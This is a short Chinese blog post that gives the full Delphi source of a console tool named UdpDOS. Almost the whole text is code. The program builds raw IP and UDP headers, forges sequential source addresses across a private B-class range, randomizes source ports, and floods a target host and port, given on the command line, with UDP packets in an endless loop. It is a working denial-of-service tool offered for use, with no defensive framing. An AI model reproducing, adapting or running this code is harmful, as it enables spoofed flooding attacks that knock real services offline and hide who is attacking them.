UDP DOS攻击源码
2009-11-14 16:49 HYrz的菜园子 阅读(453) 评论(0) 编辑 收藏 举报
Code{
//实现原理
//通过Windows2000的Winsock2.2函数库里setsockopt()的选项IP_HDRINCL实现自定义IP头
}
program UdpDOS;
{$APPTYPE CONSOLE}
uses windows;
// IP 头
type
T_IP_Header = record
ip_verlen : Byte; //Version 4 IP头的版本号，目前是IPv4，最新是IPv6
ip_tos : Byte; //Type of Service 8 服务类型，定义了数据传输的优先级、延迟、吞吐量和可靠性等特性
ip_totallength : Word; //Total Packet Length 16 IP包的长度，若没有特殊选项，一般为20字节长
ip_id : Word; //Identification 16 IP包标识，主机使用它唯一确定每个发送的数据报
ip_offset : Word; //Fragment Offset 13 IP数据分割偏移
ip_ttl : Byte; //Time to Live 8 数据报在网络上的存活时间，每通过一个路由器，该数值减一
ip_protocol : Byte;//Protocol 8 TCP/IP协议类型，比如：ICMP为1，IGMP为2，TCP为6，UDP为17等
ip_checksum : Word; //Header Checksum 16 头部检验和
ip_srcaddr : LongWord; //Source IP Address 32 源IP地址
ip_destaddr : LongWord; //Destination IP Address 32 目的IP地址
end;
// UDP 头
Type
T_UDP_Header = record
src_portno : Word; //源IP端口
dst_portno : Word; //目标IP端口
udp_length : Word; //UDP头的长度
udp_checksum : Word; //UDP头部校验和
end;
// 一些 Winsock 2 的类型声明
u_char = Char;
u_short = Word;
u_int = Integer;
u_long = Longint;
SunB = packed record
s_b1, s_b2, s_b3, s_b4: u_char;
end;
SunW = packed record
s_w1, s_w2: u_short;
end;
in_addr = record
case integer of
0: (S_un_b: SunB);
1: (S_un_w: SunW);
2: (S_addr: u_long);
end;
TInAddr = in_addr;
Sockaddr_in = record
case Integer of
0: (sin_family: u_short;
sin_port: u_short;
sin_addr: TInAddr;
sin_zero: array[0..7] of Char);
1: (sa_family: u_short;
sa_data: array[0..13] of Char)
end;
TSockAddr = Sockaddr_in;
TSocket = u_int;
const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
const
AF_INET = 2; // internetwork: UDP, TCP, etc.
IP_HDRINCL = 2; // IP Header Include
SOCK_RAW = 3; // raw-protocol interface
IPPROTO_IP = 0; // dummy for IP
IPPROTO_TCP = 6; // tcp
IPPROTO_UDP = 17; // user datagram protocol
IPPROTO_RAW = 255; // raw IP packet
INVALID_SOCKET = TSocket(NOT(0));
SOCKET_ERROR = -1;
type
PWSAData = ^TWSAData;
WSAData = record // WSDATA
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSAData = WSAData;
const
Max_Message = 4068;
Max_Packet = 4096;
FAKE_IP = '10.168.150.1'; //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段
type
TPacketBuffer = Array[0..Max_Packet-1] of byte;
type
CLIENTPARA = record
Port:integer;
IP:string;
end;
//定义一些 winsock 2 函数
function closesocket(s: TSocket): Integer; stdcall;external 'ws2_32.dll'; //关闭套接口
function socket(af, Struct, protocol: Integer): TSocket; stdcall;external 'ws2_32.dll'; //创建一个通讯端点并返回一个套接口。
function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;
tolen: Integer): Integer; stdcall;external 'ws2_32.dll'; //从已连接或未连接的套接口发送数据。
function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;
optlen: Integer): Integer; stdcall;external 'ws2_32.dll'; //设置与指定套接口相关的属性选项。
function inet_addr(cp: PChar): u_long; stdcall;external 'ws2_32.dll'; {PInAddr;} { TInAddr }
//把一个Internet标准的"."记号地址转换成Internet地址数值。
function htons(hostshort: u_short): u_short; stdcall;external 'ws2_32.dll'; //把16位的数字从主机字节顺序转换到网络字节顺序。
function WSAGetLastError: Integer; stdcall;external 'ws2_32.dll'; //获取最近错误号
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;external 'ws2_32.dll';
//对Windows Sockets DLL进行初始化,协商WINSOCK的版本支持,并分配必要的资源.
function WSACleanup: Integer; stdcall;external 'ws2_32.dll';
//终止对Windows Sockets DLL的使用,并释放资源,以备下一次使用.
function ntohl(netlong: u_long): u_long; stdcall;external 'ws2_32.dll';
function htonl(hostlong: u_long): u_long; stdcall;external 'ws2_32.dll';
var
clientpa :^CLIENTPARA;
SendSEQ :Integer = 0;
StrMessage:string;
function IntToStr(I: integer): string;
begin
Str(I, Result);
end;
function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;
function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function CheckSum(Var Buffer; Size : integer) : Word;
type
TWordArray = Array[0..1] of Word;
var
ChkSum : LongWord;
i : Integer;
begin
ChkSum := 0;
i := 0;
While Size > 1 do begin
ChkSum := ChkSum + TWordArray(Buffer)[i];
inc(i);
Size := Size - SizeOf(Word);
end;
if Size=1 then ChkSum := ChkSum + Byte(TWordArray(Buffer)[i]);
ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF);
ChkSum := ChkSum + (Chksum shr 16);
Result := Word(ChkSum);
end;
//udpdos攻击
function UdpDosThreadProc(p:Pointer):LongInt;stdcall;
var
remote : TSockAddr;
wsdata : TWSAdata;
sock : TSocket;
Ptr : ^Byte;
iIPVersion,iIPSize : Word;
iUdpChecksumSize,iTotalSize,cksum,iUdpSize : Word;
ipHdr : T_IP_Header;
udpHdr : T_UDP_Header;
ret, bOpt, FakeIpNet,FakeIpHost,counter : Integer;
Buf : TPacketBuffer;
StrMessage:string;
//FromIP : String;
procedure IncPtr(Value : Integer);
begin
ptr := pointer(integer(ptr) + Value);
end;
begin
result :=0;
// Startup Winsock 2
ret := WSAStartup($0002, wsdata);
if ret<>0 then
begin
writeln('WSA Startup failed.');
exit;
end;
writeln('WSA Startup:');
writeln('Desc.: '+wsData.szDescription);
writeln('Status: '+wsData.szSystemStatus);
// Create socket
sock := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (sock = INVALID_SOCKET) then
begin
writeln('Socket() failed: '+IntToStr(WSAGetLastError));
exit;
end;
writeln('Socket Handle = '+IntToStr(sock));
// Option: Header Include
bOpt := 1;
ret := SetSockOpt(sock, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt));
if ret = SOCKET_ERROR then
begin
writeln('setsockopt(IP_HDRINCL) failed: '+IntToStr(WSAGetLastError));
exit;
end;
remote.sin_family := AF_INET;
Remote.sin_addr.S_addr :=inet_addr(pchar(CLIENTPARA(p^).IP));
Remote.sin_port :=htons(CLIENTPARA(p^).Port);
FakeIpNet:=inet_addr(FAKE_IP);
FakeIpHost:=ntohl(FakeIpNet);
// 初始化 IP 头
iTotalSize := sizeof(ipHdr) + sizeof(udpHdr) + length(strMessage);
iIPVersion := 4;
iIPSize := sizeof(ipHdr) div sizeof(LongWord);
ipHdr.ip_verlen := (iIPVersion shl 4) or iIPSize;
ipHdr.ip_tos := 0; // IP type of service
ipHdr.ip_totallength := htons(iTotalSize); // Total packet len
ipHdr.ip_id := 0; // Unique identifier: set to 0
ipHdr.ip_offset := 0; // Fragment offset field
ipHdr.ip_ttl := 128; // Time to live
ipHdr.ip_protocol := $11; // Protocol(UDP)
ipHdr.ip_checksum := 0 ; // IP checksum
ipHdr.ip_srcaddr := htonl(FakeIpHost+SendSEQ); // Source address
ipHdr.ip_destaddr := inet_addr(pchar(CLIENTPARA(p^).IP)); // Destination address
//随机产生源地址
{FromIP:=IntToStr(Random(254)+1)+'.'+ IntToStr(Random(254)+1)+'.'+
IntToStr(Random(254)+1)+'.'+Inttostr(Random(254)+1);
ipHdr.ip_srcaddr:=inet_Addr(PChar(FromIP)); //32位源IP地址
ipHdr.ip_destaddr:=Remote.sin_addr.S_addr; //32位目的IP地址 }
// 初始化 UDP 头
iUdpSize := sizeof(udpHdr) + length(strMessage);
udpHdr.src_portno := htons(Random(65536)+1); //随机产生源端口
udpHdr.dst_portno := remote.sin_port; //目的端口号
udpHdr.udp_length := htons(iUdpSize);
udpHdr.udp_checksum := 0;
while true do
begin
//每发送10,240个报文输出一个标示符
//writeln('.');
for counter:=0 to 10239 do
begin
inc(SendSEQ);
if (SendSEQ=65536) then SendSEQ :=1; //序列号循环
//更改IP首部
ipHdr.ip_checksum :=0; //16位IP首部校验和
ipHdr.ip_srcaddr :=htonl(FakeIpHost+SendSEQ); //32位源IP地址
//更改UDP首部
udpHdr.udp_checksum :=0; //校验和
udpHdr.src_portno := htons(Random(65536)+1); //随机产生源端口
iUdpChecksumSize := 0;
ptr := @buf[0];
FillChar(Buf, SizeOf(Buf), 0);
Move(ipHdr.ip_srcaddr, ptr^, SizeOf(ipHdr.ip_srcaddr));
IncPtr(SizeOf(ipHdr.ip_srcaddr));
iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_srcaddr);
Move(ipHdr.ip_destaddr, ptr^, SizeOf(ipHdr.ip_destaddr));
IncPtr(SizeOf(ipHdr.ip_destaddr));
iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_destaddr);
IncPtr(1);
Inc(iUdpChecksumSize);
Move(ipHdr.ip_protocol, ptr^, sizeof(ipHdr.ip_protocol));
IncPtr(sizeof(ipHdr.ip_protocol));
iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_protocol);
Move(udpHdr.udp_length, ptr^, sizeof(udpHdr.udp_length));
IncPtr(sizeof(udpHdr.udp_length));
iUdpChecksumSize := iUdpChecksumSize + sizeof(udpHdr.udp_length);
move(udpHdr, ptr^, sizeof(udpHdr));
IncPtr(sizeof(udpHdr));
iUdpChecksumSize := iUdpCheckSumSize + sizeof(udpHdr);
Move(StrMessage[1], ptr^, Length(strMessage));
IncPtr(Length(StrMessage));
iUdpChecksumSize := iUdpChecksumSize + length(strMessage);
cksum := checksum(buf, iUdpChecksumSize);
udpHdr.udp_checksum := cksum;
//现在 IP 和 UDP 头OK了，我们可以把它发送出去。
FillChar(Buf, SizeOf(Buf), 0);
Ptr := @Buf[0];
Move(ipHdr, ptr^, SizeOf(ipHdr)); IncPtr(SizeOf(ipHdr));
Move(udpHdr, ptr^, SizeOf(udpHdr)); IncPtr(SizeOf(udpHdr));
Move(StrMessage[1], ptr^, length(StrMessage));
//发送TCP报文
ret:=sendto(sock, buf, iTotalSize, 0, Remote, sizeof(Remote));
if ret = SOCKET_ERROR then
writeln('sendto() failed: '+IntToStr(WSAGetLastError))
else
//writeln('send '+IntToStr(ret)+' bytes.');
write('.');
end;
writeln('');
end;
// Close socket
CloseSocket(sock);
// Close Winsock 2
WSACleanup;
end;
procedure Usage;
begin
WriteLn('UdpDOS 0.1 for 2000/XP/2003');
WriteLn('http://www.wrsky.com');
WriteLn('hnxyy@hotmail.com');
WriteLn('QQ:19026695');
WriteLn;
WriteLn('Usage: UdpDOS -h:IP -p:port');
end;
procedure ParseOption(Cmd, Arg: string);
begin
if arg='' then
begin
Usage;
Halt(0);
end;
if lstrcmp('-h:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.IP :=arg;
end
else if lstrcmp('-p:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.Port :=StrToInt(Arg);
end
else
begin
Usage;
Halt(0);
end;
end;
procedure ProcessCommandLine;
var
CmdLn: integer;
begin
CmdLn := 1;
if (ParamCount<2) or (ParamCount>2) then
begin
Usage;
Halt(0);
end;
new(clientpa);
while Length(ParamStr(CmdLn)) <> 0 do
begin
ParseOption(Copy(ParamStr(CmdLn), 1, 3), Copy(ParamStr(CmdLn), 4, Length(ParamStr(CmdLn)) - 2));
Inc(CmdLn);
end;
end;
var
ThreadID:DWord;
begin
ProcessCommandLine;
StrMessage :='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
CreateThread(nil, 0, @UdpDosThreadProc, clientpa, 0, ThreadID);
while True do Sleep(1);
end.
